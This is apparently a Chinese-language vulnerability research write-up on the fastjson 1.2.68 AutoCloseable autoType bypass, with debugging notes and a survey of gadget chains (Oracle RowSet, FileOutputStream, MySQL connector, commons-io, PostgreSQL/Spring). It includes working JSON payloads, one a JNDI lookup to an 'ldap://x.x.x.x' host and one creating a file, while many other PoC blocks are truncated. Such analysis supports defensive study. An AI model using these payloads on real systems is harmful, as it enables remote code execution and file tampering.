fastjson 1.2.68漏洞分析
1. AutoCloseable
An object that may hold resources (such as file or socket handles) until it is closed. The close() method of an AutoCloseable object is called automatically when exiting a try-with-resources block for which the object has been declared in the resource specification header. This construction ensures prompt release, avoiding resource exhaustion exceptions and errors that may otherwise occur.
API Note:It is possible, and in fact common, for a base class to implement AutoCloseable even though not all of its subclasses or instances will hold releasable resources. For code that must operate in complete generality, or when it is known that the AutoCloseable instance requires resource release, it is recommended to use try-with-resources constructions. However, when using facilities such as java.util.stream.Stream that support both I/O-based and non-I/O-based forms, try-with-resources blocks are in general unnecessary when using non-I/O-based forms.
Since:
1.7Author:
Josh Bloch
一个在关闭之前可能持有资源(例如文件或套接字句柄)的对象。 AutoCloseable 对象的 close() 方法在退出资源规范标头中已为其声明对象的 try-with-resources 块时自动调用。 这种构造确保了及时释放,避免了资源耗尽异常和错误,否则可能会发生。
API 注释:即使不是所有的子类或实例都拥有可释放的资源,基类也有可能实现 AutoCloseable,实际上这很常见。 对于必须完全通用运行的代码,或者当已知 AutoCloseable 实例需要资源释放时,建议使用 try-with-resources 构造。 但是,当使用 java.util.stream.Stream 等支持基于 I/O 和非基于 I/O 的形式的工具时,在使用非 I/O- 时通常不需要 try-with-resources 块 基于表格。
自从:
1.7
作者:
乔什·布洛赫
1.1 Demo测试
1.1.1 计算器测试
编写一个实现AutoCloseable
接口的Demo,通过fastjson
反序列化调用,触发代码执行
1 | package vuln; |
1.1.2 反序列化中类的构造方法
这里在Demo中,没有设定无参构造方法,但是为什么还能反序列化成功?之前在1.2.24最开始分析的时候,当时记录的反序列化过程中只会找无参构造方法,如果没有的话会怎么样呢?
在之前的调试中,对于类的构造方法、Field、Method都放在beanInfo
,因此在生成beanInfo
对象处下断点

在com.alibaba.fastjson.util.JavaBeanInfo#build
中;在这没有看到对构造方法参数的判断,只是循环赋值给creatorConstructor
,比如有两个构造方法,其中会根据已经遍历过的构造方法的参数长度作比较,选取参数数量较多的;如果参数数量相同,则会按照遍历的顺序,选取先遍历到的构造方法;

在后面com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
的反序列化中,使用了creatorConstructor
实例化对象,并传入相关参数

1.2 AutoCloseable反序列化调试
在JSON.parse()处下断点调试
1.2.1 checkAutoType流程
1.2.1.1 safeModeMask
首先可以看到在checkAutoType类加载过程中,多了一个safeMode,如果在parse()解析中设置了这个属性为true,则不会进行类加载,并抛出异常 safeMode not support autoType
,这个感觉可以在提供安全建议的时候提供思路

1.2.1.2 内置的mappings
到getClassFromMapping
中,获取到了内置的java.lang.AutoCloseable类,

在TypeUtils
的mappings
中有这个类的映射,回头看了一下1.2.24的mappings
中是没有的,而1.2.68中已经没有了1.2.47利用的java.lang.Class
1.2.2 deserializer
获取对应的Class后,紧接着看一下是否有内置指定的deserializer
工具;
调试发现,这里并没有想java.lang.Class内置了反序列化工具类,看来是走的通用的createJavaBeanDeserializer
方法去创建deserializer



1.2.3 再次进入checkAutoType
当完成@java.lang.AutoCloseable
的类加载并获取了JavaBeanDeserializer
,payload的类作为字段,再次进入ParseConfig
的checkAutoType
,此时autoTypeSupport
虽然为false
,但是expectClassFlag
已经为true
了

加载目标类,并放入TypeUtils
的mappings
中

如图,成功在没有autoTypeSupport的情况下,完成了类加载,后面仍然是以前的反序列化流程
2. 利用链
2.1 oracle.jdbc.rowset.OracleJDBCRowSet
2.1.1 fastjson1.2.68
之前有这么一条利用链,在我的笔记中记录是准备用于1.2.68
的,
1 | {"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"ldap://x.x.x.x","command":"1"} |
实际在1.2.68
调试中,发现oracle.jdbc.rowset.OracleJDBCRowSet
已经被加入黑名单了,很明显用不了;对应的黑名单Hash
是-3319207949486691020

那么这条利用链是哪个版本的呢?
2.1.3 fastjson1.2.50
查看历史版本的源代码,在1.2.50
中没有看到对RowSet实现类的限制,1.2.51
版本后就有相关的加固了
因此这条利用链适用于 <=1.2.50
版本,
从1.2.68开始,虽然类加载可以通过AutoCloseable绕过限制,但是JNDI已知利用链的类都被加入了黑名单,其他相关利用链也没有公开的了,但是有了各路大神的各种利用链~
- rmb122《fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记》
- voidfyoo 《Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析》
- 珂技知识分享《关于blackhat2021披露的fastjson1.2.68链》
- 浅蓝《fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路》
- XINYU2428 (覆盖charsets.jar)
2.2 FileOutputStream

- 构造方法:
public FileOutputStream(String name, boolean append)
这个poc在jdk11上可以,jdk8中不行,提示xxx;该poc可以生成文件1
{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/123","append":false}
2.2.1 获取不到构造方法
调试过程中发现,对于java.io.FileOutputStream
完成了类加载,但是BeanInfo中没有构造方法;在build方法中如位置,跳过了creatorConstructor的赋值,原因是ASMUtils.lookupParameterNames(constructor)
获取到的字符数组为空


- JDK8

- 切换至JDK11是可以的

猜测和rt.jar中原生类加载、ASM有关系
在网上找到了一个师傅遇到相同的问题: http://scz.617.cn:8/web/202008100900.txt
https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect
文章中也对这个问题做了解释,又学习到了
引用:读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。
反编译不同版本的java.io.FileOutputStream
类;可以看到jdk8中没有LocalVariableTable
;而fastjson通过asm读取类后依赖LocalVariableTable

- 这里还有一个疑问,
FileOutputStream
也有String name
和boolean append
为参数的构造方法,为什么最后用的是file和append参数呢;
原因:参考1.1.2的调试,反序列化过程中,获取默认的构造方法,如果没有无参构造方法,且参数数量相同的情况下;优先选取constructors数组中优先遍历的方法,这里即是 FileOutputStream(java.io.File, boolean)
的构造方法

2.2.2 公开的利用链
根据2.2.1 的特性,显然jdk8中是使用不了的
1 |
|
2.3 Mysql利用链
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
主要的构造思路:json字符串在fastjson反序列化过程中,触发mysql数据库连接,可用于SSRF/RCE
关于mysql connector的jdbc组件反序列化漏洞,这个后面再分析
可以参考Maven库上的标识:https://mvnrepository.com/artifact/mysql/mysql-connector-java
2.3.1 Mysql connector 5.1.x
适用版本:5.1.11-5.1.49 二次反序列化、5.1.10只完成了SSRF
关键类:com.mysql.jdbc.JDBC4Connection
依赖包:
1 | <dependency> |
JDBC4Connection类中只有一个构造方法,
1 | public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException { |
满足AutoCloseable
接口的实现

2.3.1.1 触发mysql连接
实例化JDBC4Connection即触发dnslog,构造的info中的属性值,也是为了满足触发mysql反序列化漏洞的条件,这个后面再分析
1 | public static void mysqlJDBCDemo() throws Exception{ |
如图,JDBC4Connection
的默认构造方法,执行到父类的构造方法中,并在createNewIO
中去尝试与mysql数据库建立连接

2.3.1.2 反序列化
反序列化需要借助MySql_Fake_Server https://github.com/fnmsd/MySQL_Fake_Server
1 | { |
测试了一下,二次反序列化只在mysql-connector 5.1.11 - 5.1.49版本触发,5.1.10没有完成CB利用链的加载

2.3.2 Mysql Connector 6.0.x
适用版本:6.0.2、6.0.3
关键类:com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection

依赖包:
1 | <dependency> |
2.3.2.1 构造方法
LoadBalancedMySQLConnection
1
2
3public LoadBalancedMySQLConnection(LoadBalancedConnectionProxy proxy) {
super(proxy);
}LoadBalancedConnectionProxy
1
public LoadBalancedConnectionProxy(ConnectionString connectionString) throws SQLException
ConnectionString
1
public ConnectionString(String url, Properties info)
2.3.2.2 触发mysql连接
完成LoadBalancedMySQLConnection
类的实例化即会触发mysql
请求,这里把之前info
的一些字段都可以通过url
使用jdbc://mysql....
的写法写入
1 | public static void mysql6JDBCDemo() throws Exception{ |
- 暂时不分析mysql这块的触发,异常中看一下调用栈

2.3.2.3 反序列化
1 | { |

2.3.3 Mysql Connector 8.x
关键类:com.mysql.cj.jdbc.ha.ReplicationMySQLConnection
按照blackhat上的介绍,适用版本:6.x or < 8.0.20;但是根据目标这个利用链来说,只在8.0.19上触发了反序列化
因此适用版本:8.0.19反序列化,大于8.0.19 SSRF 来自:《 珂技知识分享》,时间原因,暂时没分析为什么其他版本利用链的构造
1 | public ReplicationConnectionUrl(List<HostInfo> masters, List<HostInfo> slaves, Map<String, String> properties) |
1 | { |
2.4 Commons-io利用链
2.4.1 $ref
不管在DefaultJSONParser
还是JavaBeanDeserializer
,在反序列化过程中,都会判断key
是否是$ref
,看之后的利用链,也都有$ref
的身影
调试看到当遇到$ref时,会增加一个解析任务,

之前的分析都是在parse()
中,这里发现关于$ref的相关解析是在handleResovleTask中完成

handleResovleTask

调用栈

$ref是为了防止出现StackOverFlow异常,在一个对象被多次使用,第一次之后的使用就会变成这个对象第一次出现的位置。
https://www.jianshu.com/p/50fe2b473cae
1 | {"$ref":"$"} 引用根对象 |
2.4.2 写入文件
版本限制:commons-io 2.0~2.6
由于2.2中,FileOutputStream利用链并不适用与所有的JDK/JRE版本,因此需要找到新的利用链,在voidfyoo的文章的思路,通过commons-io组件构造利用链
1 | { |
但是使用上面的poc
新建的文件没有写入内容
2.4.2.1 XmlStreamReader
入口点XmlStreamReader
类,

2.4.2.1 TeeInputStream
对应poc和XmlStreamReader
的构造参数,is构造为TeeInputStream
1 | public TeeInputStream(InputStream input, OutputStream branch) { |
参数:input、branch
a. input参数
构造类:ReaderInputStream
1 | public ReaderInputStream(Reader reader, CharsetEncoder encoder, int bufferSize) { |
- reader使用了
CharSequenceReader
类1
2
3public CharSequenceReader(CharSequence charSequence) {
this.charSequence = (CharSequence)(charSequence != null ? charSequence : "");
}CharSequenceReader
的构造方法中是CharSequence
类型作为参数,CharSequence
是一个接口,像常用的String
就实现了这个接口
branch参数
构造类:WriterOutputStream
1 | public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) { |
- writer使用了
FileWriterWithEncoding
类1
2
3public FileWriterWithEncoding(String filename, String encoding, boolean append) throws IOException {
this(new File(filename), encoding, append);
}
2.4.2.3 触发流程
如voidfyoo的文章中的分析,如图位置执行到this.in.read()
,而这个in参数,在BOMInputStream
实例化时,传入了TeeInputStream

TeeInputStream
的read
方法如下,将reader
中的内容写入到branch
中

ReaderInputStream#fillBufer

CharSequenceReader#read

Reader的流程结束,看一下OutputStream
的branch
的流程,这里没有记录,因为可以参考一下voidfyoo的文章
2.4.2.4 无法写入文件内容
这里在使用$ref循环对inputStream和outputStream进行读出写入后,创建的文件仍然没有被写入内容,
抛出如下异常,分析过后发现,fastjson反序列化过程中,实例化WriterOutputStream类的时候,没有使用payload中想要的构造方法,因此charset为空,在写入文件内容的时候抛出异常。。
1 | create instance error, null, public org.apache.commons.io.input.XmlStreamReader(java.io.InputStream,java.lang.String,boolean,java.lang.String) throws java.io.IOException |
如图,在deserialze中看到当前的构造方法是org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)
;

则我们的poc中,是想要使用charsetName参数的构造方法,即
1 | public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) { |

这里再回头看一下beaninfo在实例化的时候,在循环构造方法的地方,第四个构造方法排在前面会优先遍历,导致后面同样参数数量的构造方法public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String,int,boolean)
不会被使用。

最终导致在WriteOutputStream#processInput方法中,decoder为空,抛出空指针异常


2.4.2.5 修改利用链中WriteOutputStream的参数
根据前面的问题,将WriterOutputStream
中的charsetName修改为,随便找一个继承CharsetDecoder类的方法,jdk内置的一些类都是私有方法,在fastjson中找到 com.alibaba.fastjson.util.UTF8Decoder
继承了这个抽象类;但是这个类并没有实现 AutoCloseable
接口,因此这里我手动开启了autoTypeSupport
支持,显然这样做就不能达到通用了。
1 | { |
2.4.3 读文件
1 | { |
- 文件内容对应的ASCII正确

- 文件不存在或ASCII不匹配

- web项目测试

但是这种方法不一定在真实场景能利用,真实场景不一定会将解析的JSONObject直接返回回来
也可以用来检测是否出网,或者检测是否<=1.2.68版本
1 | { |
2.5 pgsql利用链
maven:
1 | <dependency> |
依赖类:
- org.postgresql.jdbc.PgConnection
- org.springframework.context.support.ClassPathXmlApplicationContext
2.5.1 PgConnection

1 | public PgConnection(HostSpec[] hostSpecs, String user, String database, Properties info, String url) throws SQLException |

在ObjectFactory#instantiate方法中,将传入的类名即org.springframework.context.support.ClassPathXmlApplicationContext
进行实例化

2.5.2 ClassPathXmlApplicationContext实例化

1 | ClassPathXmlApplicationContext <init> |

接下来遍历configLocations
,开始获取资源,如图先后判断了字符串是否是 classpath*:
、war:
这种格式;匹配资源字符串的格式后,最终因为使用了http://的格式,返回了URL
对象


1 |
|
